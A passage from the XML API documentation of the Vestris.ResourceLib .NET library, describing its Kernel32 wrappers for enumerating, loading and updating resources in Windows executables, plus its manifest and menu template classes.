<returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the types are to be enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. </param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceNames(System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resources of a specified type within a binary module. \n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource name or ID.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources that are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource that is being enumerated.</param>\n            <param name=\"lpszName\">Specifies the name of a resource of the type being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates language-specific resources, of the specified type and name, associated with a binary module.\n            </summary>\n            <param name=\"hModule\">The handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource language.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the languages are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"wIDLanguage\">Specifies the language identifier for the resource for which the language is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FindResourceEx(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16)\">\n            <summary>\n            Determines the location of the resource with the specified type, name, and language in the specified module.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource.</param>\n            <param name=\"wLanguage\">Specifies the language of the resource.</param>\n            <returns>If the function succeeds, the return value is a handle to the specified resource's information block.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LockResource(System.IntPtr)\">\n            <summary>\n            Locks the specified resource in memory.\n            </summary>\n            <param name=\"hResData\">Handle to the resource to be locked.</param>\n            <returns>If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Loads the specified resource into global memory.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResData\">Handle to the resource to be loaded.</param>\n            <returns>If the function succeeds, the return value is a handle to the data associated with the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.SizeofResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Returns the size, in bytes, of the specified resource. \n            </summary>\n            <param name=\"hInstance\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResInfo\">Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function.</param>\n            <returns>If the function succeeds, the return value is the number of bytes in the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.CloseHandle(System.IntPtr)\">\n            <summary>\n            Closes an open object handle.\n            </summary>\n            <param name=\"hHandle\">A valid handle to an open object.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.BeginUpdateResource(System.String,System.Boolean)\">\n            <summary>\n            Returns a handle to either a language-neutral portable executable file (LN file) or a \n            language-specific resource file (.mui file) that can be used by the UpdateResource function \n            to add, delete, or replace resources in a binary module.\n            </summary>\n            <param name=\"pFileName\">Pointer to a null-terminated string that specifies the binary file in which to update resources.</param>\n            <param name=\"bDeleteExistingResources\">Specifies whether to delete the pFileName parameter's existing resources.</param>\n            <returns>If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.UpdateResource(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.Byte[],System.UInt32)\">\n            <summary>\n            Adds, deletes, or replaces a resource in a portable executable (PE) file. \n            There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: \n            language-neutral (LN) files and language-specific resource (.mui) files.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, referencing the file to be updated.</param>\n            <param name=\"lpType\">Pointer to a null-terminated string specifying the resource type to be updated.</param>\n            <param name=\"lpName\">Pointer to a null-terminated string specifying the name of the resource to be updated.</param>\n            <param name=\"wLanguage\">Specifies the language identifier of the resource to be updated.</param>\n            <param name=\"lpData\">Pointer to the resource data to be inserted into the file indicated by hUpdate.</param>\n            <param name=\"cbData\">Specifies the size, in bytes, of the resource data at lpData.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EndUpdateResource(System.IntPtr,System.Boolean)\">\n            <summary>\n            Commits or discards changes made prior to a call to UpdateResource.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated.</param>\n            <param name=\"fDiscard\">Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect.</param>\n            <returns>Returns TRUE if the function succeeds; FALSE otherwise.</returns>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_NEUTRAL\">\n            <summary>\n            Neutral primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_ENGLISH\">\n            <summary>\n            US-English primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_NEUTRAL\">\n            <summary>\n            Neutral sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_ENGLISH_US\">\n            <summary>\n            US-English sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.CREATEPROCESS_MANIFEST_RESOURCE_ID\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, \n            ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. \n            The process default activation context will be used by all components running in the process. \n            CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has \n            a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the \n            dependency. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_MANIFEST_RESOURCE_ID\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private \n            dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. \n            It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll \n            version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still \n            use the right version of comctl32.dll. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\">\n            <summary>\n            When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW \n            is redefined to IsolationAwareLoadLibraryExW. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ManifestType\">\n            <summary>\n            Resource manifest type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.CreateProcess\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAware\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAwareNonstaticImport\">\n            <summary>\n            ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.MoveMemory(System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.\n            </summary>\n            <param name=\"dest\">A pointer to the starting address of the copied block's destination.</param>\n            <param name=\"src\">A pointer to the starting address of the block of memory to copy.</param>\n            <param name=\"count\">The size of the block of memory to copy, in bytes.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.LoadException\">\n            <summary>\n            A resource load exception.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.OuterException\">\n            <summary>\n            The Win32 exception from a resource enumeration function.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.LoadException.#ctor(System.String,System.Exception,System.Exception)\">\n            <summary>\n            A new resource load exception.\n            </summary>\n            <param name=\"message\">Error message.</param>\n            <param name=\"innerException\">The inner exception thrown within a single resource.</param>\n            <param name=\"outerException\">The outer exception from the Win32 API.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.Message\">\n            <summary>\n            A combined message of the inner and outer exception.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ManifestResource\">\n            <summary>\n            An embedded SxS manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.Manifest\">\n            <summary>\n            Embedded XML manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.ManifestType\">\n            <summary>\n            Manifest type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing embedded manifest resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor\">\n            <summary>\n            A new executable CreateProcess manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            A new executable manifest.\n            </summary>\n            <param name=\"manifestType\">Manifest type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.LoadFrom(System.String,Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            Load a manifest resource from an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n            <param name=\"manifestType\">Manifest resource type.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplate\">\n            <summary>\n            Extended menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu template.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENUEX format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of extended menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemPopup\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.#ctor\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read an extended popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENUEX format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuResource.Menu\">\n            <summary>\n            Menu template.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor\">\n            <summary>\n            A structured menu resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured menu resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a menu resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.ToString\">\n            <summary>\n            String representation of the menu resource in the MENU format.\n            </summary>\n            <returns>String representation of the menu resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplate\">\n            <summary>\n            Standard menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu template to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENU format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateBase\">\n            <summary>\n            A menu template header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template header.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.MenuId\">\n            <summary>\n            Command menu id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Read(System.IntPtr)\">\n            <summary>\n            Read a command menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemPopup\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.#ctor\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read a popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Resource\">\n            <summary>\n            A version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._language\">\n            <summary>\n            Resource language.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hModule\">\n            <summary>\n            Loaded binary nodule.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hResource\">\n            <summary>\n            Pointer to the resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._size\">\n            <summary>\n            Resource size.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Size\">\n            <summary>\n            Version resource size in bytes.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Language\">\n            <summary>\n            Language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.TypeName\">\n            <summary>\n            String representation of the resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor\">\n            <summary>\n            A new resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LockAndReadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Lock and read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            